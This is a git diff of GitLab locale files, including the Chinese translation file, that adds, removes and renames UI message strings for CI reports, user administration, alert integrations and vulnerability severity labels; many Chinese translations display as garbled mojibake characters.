msgid "Your subscription expired!"
msgstr ""
@@ -30960,6 +31669,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31129,13 +31841,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31301,6 +32010,12 @@ msgstr[0] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31319,9 +32034,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31337,9 +32049,6 @@ msgstr ""
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31377,9 +32086,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31466,6 +32172,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31491,6 +32200,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31512,7 +32224,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32039,6 +32751,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32066,6 +32781,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32078,6 +32796,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32151,6 +32872,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32203,6 +32927,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32215,9 +32942,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32266,9 +32999,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32299,10 +33029,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32311,6 +33041,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32320,6 +33053,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32392,6 +33128,10 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/zh_CN/gitlab.po b/locale/zh_CN/gitlab.po
index 2bf77761c20..59a7512d42d 100644
--- a/locale/zh_CN/gitlab.po
+++ b/locale/zh_CN/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: zh-CN\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:42\n"
+"PO-Revision-Date: 2020-12-03 08:11\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -79,6 +79,10 @@ msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -146,14 +150,14 @@ msgid "%d day"
msgid_plural "%d days"
msgstr[0] "%d天"
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
-msgstr[0] ""
-
msgid "%d error"
msgid_plural "%d errors"
msgstr[0] "%d个错误"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
+msgstr[0] ""
+
msgid "%d exporter"
msgid_plural "%d exporters"
msgstr[0] "%d 导出器"
@@ -296,24 +300,15 @@ msgstr "%{actionText} 和 %{openOrClose} %{noteable}"
msgid "%{address} is an invalid IP address range"
msgstr ""
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr "%{author_link}写é“:"
msgid "%{authorsName}'s thread"
msgstr "%{authorsName}的主题"
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close}将会把“由%{link_open}@johnsmith%{link_close}â€æ·»åŠ åˆ°åŽŸæœ¬ç”±johnsmith@example.com创建的所有议题和评论中,并将%{link_open}@johnsmith%{link_close}设为原本分é…ç»™johnsmith@example.com所有问题的å—让人。"
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close}将会把\"由John Smith\"添加到原本由johnsmith@example.com创建的所有议题和评论中。"
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
-msgstr "%{code_open}“johnsmith@example.comâ€ï¼šâ€œ@ johnsmithâ€%{code_close}将会把\"By johnsm...@example.com\"添加到原本由johnsmith@example.com创建的所有议题和评论中。 为ä¿æŠ¤ç”¨æˆ·çš„éšç§ï¼Œç”µå­é‚®ä»¶åœ°å€æˆ–用户å将被å±è”½ã€‚"
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
-msgstr "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close}将会把“由%{link_open}johnsmith@example.com%{link_close}â€æ·»åŠ åˆ°åŽŸæœ¬ç”±johnsmith@example.com创建的所有议题和评论中。 为ä¿æŠ¤ç”¨æˆ·çš„éšç§ï¼Œç”µå­é‚®ä»¶åœ°å€æˆ–用户å默认将被å±è”½ã€‚如需显示完整邮件地å€ï¼Œå¯ä½¿ç”¨æ­¤é€‰é¡¹ã€‚"
-
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
msgstr "%{code_open}éšè—çš„%{code_close}å˜é‡åœ¨ä½œä¸šæ—¥å¿—中éšè—(虽然它们必须符åˆæŸäº›æ­£åˆ™è¡¨è¾¾å¼è¦æ±‚)。"
@@ -385,6 +380,9 @@ msgstr "%{count}个相关的%{pluralized_subject}: %{links}"
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr "未找到%{dashboard_path}。"
@@ -457,21 +455,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr "%{host} 从新ä½ç½®ç™»å½•"
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr "%{icon}您å³å°†æŠŠ%{usersTag}相关人员添加到讨论中。他们都会收到通知。"
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr "%{integrations_link_start}集æˆ%{link_end}使得将第三方应用程åºæˆä¸ºGitLab工作æµç¨‹çš„一部分。如果当å‰å¯ç”¨çš„集æˆä¸èƒ½æ»¡è¶³æ‚¨çš„需求,å¯ä»¥è€ƒè™‘使用 %{webhooks_link_start}webhook%{link_end}。"
msgid "%{issuableType} will be removed! Are you sure?"
msgstr "%{issuableType} 将被删除ï¼æ‚¨ç¡®å®šå—?"
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr "%{issuesSize}个,上é™ä¸º%{maxIssueCount}"
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr "%{labelStart}类型: %{labelEnd}%{class}"
@@ -487,9 +491,6 @@ msgstr "%{labelStart}è¯æ®:%{labelEnd} %{evidence}"
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr "%{labelStart}文件: %{labelEnd}%{file}"
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr "%{labelStart}报头:%{labelEnd} %{headers}"
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr "%{labelStart}é•œåƒ: %{labelEnd}%{image}"
@@ -505,14 +506,14 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr "%{labelStart}扫æ工具:%{labelEnd} %{scanner}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
+msgstr ""
+
msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr "%{labelStart}严é‡ç¨‹åº¦ :%{labelEnd}%{severity}"
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
-msgstr "%{labelStart}状æ€:%{labelEnd} %{status}"
-
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
-msgstr "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
+msgstr ""
msgid "%{label_for_message} unavailable"
msgstr "%{label_for_message}ä¸å¯ç”¨"
@@ -544,9 +545,6 @@ msgstr "%{link_start}以%{draft_snippet}或%{wip_snippet}作为标题的开头%{
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr "%{listToShow},还有 %{awardsListLength} 个。"
-msgid "%{loadingIcon} Started"
-msgstr "%{loadingIcon} 已开始"
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -645,32 +643,14 @@ msgstr[0] "%{releases}个å‘布"
msgid "%{remaining_approvals} left"
msgstr "还需%{remaining_approvals}"
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žå’Œ%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žå’Œ%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žã€‚"
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] "%{reportType}%{status}检测到%{criticalStart}%{critical}个严é‡%{criticalEnd}安全æ¼æ´ž."
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr "%{reportType}%{status}检测到%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´žï¼Œæ€»è®¡%{total}个。"
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] "%{reportType}%{status}检测到%{highStart}%{high}个高å±%{highEnd}安全æ¼æ´ž."
+msgid "%{reportType} %{status}"
+msgstr ""
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] "%{reportType}%{status}检测到%{other}个安全æ¼æ´ž."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
+msgstr ""
-msgid "%{reportType} %{status} detected no vulnerabilities."
-msgstr "%{reportType}%{status}未å‘现安全æ¼æ´ž."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
+msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
@@ -725,6 +705,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr "%{strongStart}注æ„:%{strongEnd} 添加自定义阶段åŽï¼Œæ‚¨å¯ä»¥é€šè¿‡å°†å…¶æ‹–动到所需ä½ç½®æ¥å¯¹é˜¶æ®µè¿›è¡Œé‡æ–°æŽ’åºã€‚"
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] "%{strong_start}%{branch_count}%{strong_end} 个分支"
@@ -817,6 +800,9 @@ msgstr "%{userName} 的头åƒ"
msgid "%{user_name} profile page"
msgstr "%{user_name}的个人资料"
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr "%{username} 的头åƒ"
@@ -835,12 +821,6 @@ msgstr "%{webhooks_link_start}%{webhook_type}%{link_end}å…许您针对æŸä¸ªç¾¤
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr "&lt;未选择范围&gt;"
-
-msgid "&lt;project name&gt;"
-msgstr "&lt;项目å称&gt;"
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1415,9 +1395,6 @@ msgstr "接收警报时è¦æ‰§è¡Œçš„æ“作。%{docsLink}"
msgid "Actions"
msgstr "æ“作"
-msgid "Activate"
-msgstr "激活"
-
msgid "Activate Service Desk"
msgstr "å¯ç”¨æœåŠ¡å°"
@@ -1764,9 +1741,15 @@ msgstr "管ç†æ¨¡å¼å·²å¯ç”¨"
msgid "Admin notes"
msgstr "管ç†å‘˜å¤‡æ³¨"
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr "活跃用户"
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr "活跃用户"
@@ -1989,6 +1972,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr "活跃"
@@ -2037,18 +2029,21 @@ msgstr "å·²ç¦ç”¨"
msgid "AdminUsers|Blocking user has the following effects:"
msgstr "ç¦ç”¨ç”¨æˆ·å…·æœ‰ä»¥ä¸‹æ•ˆæžœï¼š"
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr "无法解除已ç¦ç”¨çš„ LDAP 用户"
msgid "AdminUsers|Deactivate"
msgstr "冻结"
-msgid "AdminUsers|Deactivate User %{username}?"
-msgstr "冻结用户%{username}?"
-
msgid "AdminUsers|Deactivate user"
msgstr "冻结用户"
+msgid "AdminUsers|Deactivate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Deactivated"
msgstr "已冻结"
@@ -2073,6 +2068,9 @@ msgstr "外部"
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr "除éžæ˜Žç¡®æŽˆäºˆè®¿é—®æƒé™ï¼Œå¦åˆ™å¤–部用户无法查看内部或ç§æœ‰é¡¹ç›®ã€‚å¦å¤–,外部用户无法创建项目,群组或个人代ç ç‰‡æ®µã€‚"
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr "正在使用许å¯å¸­ä½"
@@ -2109,6 +2107,15 @@ msgstr "普通"
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr "普通用户å¯ä»¥è®¿é—®ä»–们的群组和项目"
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr "æ¢å¤ç”¨æˆ·è®¿é—®è´¦æˆ·ï¼ŒåŒ…括网页ã€Gitå’ŒAPI。"
@@ -2148,6 +2155,15 @@ msgstr "请输入 %{projectName} æ¥ç¡®è®¤"
msgid "AdminUsers|To confirm, type %{username}"
msgstr "请输入 %{username} æ¥ç¡®è®¤"
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr "用户将无法访问git仓库"
@@ -2157,6 +2173,9 @@ msgstr "用户将无法登录"
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr "用户é‡æ–°ç™»å½•åŽï¼Œå…¶å¸æˆ·å°†æ¢å¤ä¸ºå®Œå…¨æœ‰æ•ˆçš„å¸æˆ·"
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr "无项目"
@@ -2166,6 +2185,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2178,7 +2206,13 @@ msgstr ""
msgid "Administration"
msgstr "管ç†"
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2389,6 +2423,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr "您已å¯ç”¨Opsgenie集æˆã€‚您的警报将å¯ç›´æŽ¥åœ¨Opsgenie中查看。"
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "查看外部æœåŠ¡çš„文档以了解将此信æ¯æ供给外部æœåŠ¡çš„ä½ç½®ï¼Œä»¥åŠ%{linkStart}GitLab文档%{linkEnd}æ¥äº†è§£æœ‰å…³é…置端点的更多信æ¯ã€‚"
@@ -2398,9 +2450,18 @@ msgstr "您必须æ供此URL和授æƒå¯†é’¥æ‰èƒ½æŽˆæƒå¤–部æœåŠ¡å°†è­¦æŠ¥å‘
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2428,6 +2489,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr "å¤åˆ¶"
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2440,36 +2507,66 @@ msgstr "外部Prometheus"
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|Integration"
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
msgstr ""
-msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Integration"
+msgstr ""
+
+msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
msgid "AlertSettings|Opsgenie"
msgstr "Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
+msgstr ""
+
msgid "AlertSettings|Reset key"
msgstr "é‡ç½®å¯†é’¥"
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr "é‡ç½®æ­¤é¡¹ç›®çš„授æƒå¯†é’¥å°†éœ€è¦æ›´æ–°æ¯ä¸ªè­¦æŠ¥æºä¸­å¯ç”¨çš„授æƒå¯†é’¥ã€‚"
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr "查看外部æœåŠ¡çš„文档以了解将此信æ¯æ供给外部æœåŠ¡çš„ä½ç½®ï¼Œä»¥åŠ%{linkStart}GitLab文档%{linkEnd}æ¥äº†è§£æœ‰å…³é…置端点的更多信æ¯ã€‚"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr "测试警报数æ®"
@@ -2479,9 +2576,6 @@ msgstr "å·²æˆåŠŸå‘é€æµ‹è¯•è­¦æŠ¥ã€‚如果您已ç»åšäº†å…¶ä»–更改,请立
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr "测试失败。您ä»ç„¶æƒ³è¦ä¿å­˜æ›´æ”¹å—?"
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2491,6 +2585,18 @@ msgstr "å°è¯•é‡ç½®å¯†é’¥æ—¶å‡ºé”™ã€‚请刷新页é¢å†è¯•ä¸€æ¬¡ã€‚"
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr "URLä¸èƒ½ä¸ºç©ºï¼Œå¿…须以http或https开头。"
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr "Webhook网å€"
@@ -2503,6 +2609,9 @@ msgstr "您必须æ供此URL和授æƒå¯†é’¥æ‰èƒ½æŽˆæƒå¤–部æœåŠ¡å°†è­¦æŠ¥å‘
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr "警报"
@@ -2518,16 +2627,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2632,6 +2762,9 @@ msgstr "å…许所有人访问æµæ°´çº¿å’Œä½œä¸šè¯¦æƒ…,包括输出日志和产
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr "å…许在Asciidoc文档中渲染PlantUML图。"
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr "å…许项目维护者é…置仓库镜åƒ"
@@ -2749,9 +2882,6 @@ msgstr ""
msgid "An error has occurred"
msgstr "å‘生错误"
